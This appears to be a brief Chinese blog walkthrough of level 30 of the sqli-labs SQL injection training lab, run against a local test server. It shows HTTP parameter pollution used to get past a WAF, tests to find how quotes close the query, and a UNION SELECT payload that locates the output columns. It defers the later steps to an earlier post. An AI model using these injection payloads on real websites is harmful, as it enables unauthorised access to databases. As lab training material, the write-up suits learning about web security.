sqli-labs (less-30)

sqli-labs (less-30)

进入30关。输入id=1
sqli-labs (less-30)
我们直接查看源文件,发现也有login.php的文件
sqli-labs (less-30)

http://127.0.0.1/sql1/Less-30/login.php?id=1

sqli-labs (less-30)

http://127.0.0.1/sql1/Less-30/login.php?id=1'

sqli-labs (less-30)
依然被WAF阻挡

http://127.0.0.1/sql1/Less-30/login.php?id=1&id=2

sqli-labs (less-30)

http://127.0.0.1/sql1/Less-30/login.php?id=1&id=2' #回显正常
http://127.0.0.1/sql1/Less-30/login.php?id=1&id=2" #回显错误

sqli-labs (less-30)
根据错误显示判断闭合方式为"–+,并且为字符型注入

确定回显位置

http://127.0.0.1/sql1/Less-30/login.php?id=1&id=-2" union select 1,2,3--+

sqli-labs (less-30)
接下来的步骤与less-29一模一样,这里就不具体介绍,具体过程请看我的less-29

上一篇:Docker部署Golang项目及镜像优化实战


下一篇:SQLI-LABS——Page-3 Stacked Injections